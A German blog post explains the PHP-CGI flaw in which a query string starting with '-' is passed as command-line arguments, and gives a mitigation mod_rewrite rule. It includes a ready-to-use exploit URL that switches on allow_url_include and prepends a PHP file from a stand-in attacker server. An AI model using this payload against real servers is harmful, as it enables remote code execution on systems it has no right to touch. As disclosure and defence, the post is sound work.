Eine neue Lücke, die letzte Woche zufällig (lies: unabsichtlich) veröffentlicht wurde, hält derzeit die PHP-Entwickler in Atem. Der Fehler, der seit mindestens 2004 existiert, ist auf eine fehlerhafte Implementierung der CGI-Spezifikation zurückzuführen.
Diese besagt, daß ein Query-String, der mit "-" beginnt und kein "=" enthält, als Kommandozeilenargument an das ausführende CGI-Programm (hier also PHP) übergeben werden kann. Das führt in Verbindung mit unsicheren Wrapperskripten dazu, daß der Zugriff auf eine beliebige - auch leere - PHP-Datei beliebige Codeausführung ermöglicht.
Beispiel (Achtung, dies ist ein Remote-Code-Exploit, nicht auf Produktionswebservern ausprobieren):
http://opferserver/irgendein.php?-n%20-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://boeserserver/php-datei.txt
Aufgeschlüsselt bedeutet dies:
- -n: Ignoriere vorhandene php.ini-Dateien und setze somit Suhosin, open_basedir, allow_url_include und alle anderen Sicherheitseinstellungen außer Kraft
- -d allow_url_include=On: Setze "allow_url_include" vom Default (off) auf On und erlaube die Ausführung von PHP-Code aus URLs.
- -d auto_prepend_file=http://boeserserver/php-datei.txt: Füge die PHP-Datei "http://boeserserver/php-datei.txt" vor jeder Skriptausführung ein und führe sie aus.
Es gibt noch lustige andere PHP-CGI-Optionen - ein Blick in
php-cgi -h ist durchaus aufschlußreich.
Innerhalb kürzester Zeit gab es für die Lücke ein Metasploit-Modul und diverse Exploits auf den üblichen Exploit-Webseiten. Eine Knowledge-Datenbank von Sony zeigte fröhlich ihren Quellcode her und Facebook reagierte mit einer lustigen Stellenanzeige.
In ihrem Update auf PHP 5.4.2 und 5.3.12 haben die Entwickler gleich zwei Fehler gemacht: So wurde übersehen, daß führender Whitespace im Query String für die Ausführung bei bestimmten, besonders unsicheren Wrapperscripts keine Auswirkung hat - und URL-kodierte Gleichheitszeichen wurden ignoriert. Zur Stunde gibt es noch keine neue PHP-Version, sie dürfte aber nicht mehr lange auf sich warten lassen. Ein initial von der PHP Group vorgeschlagener Bugfix per mod_rewrite-Regel war ebenfalls fehlerhaft, aktuell wird die (nach Meinung des Autors dieser Zeilen korrekte) folgende Regel empfohlen:
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]
Mehr Informationen finden sich im englischen Schwesterblog dieses Blogs: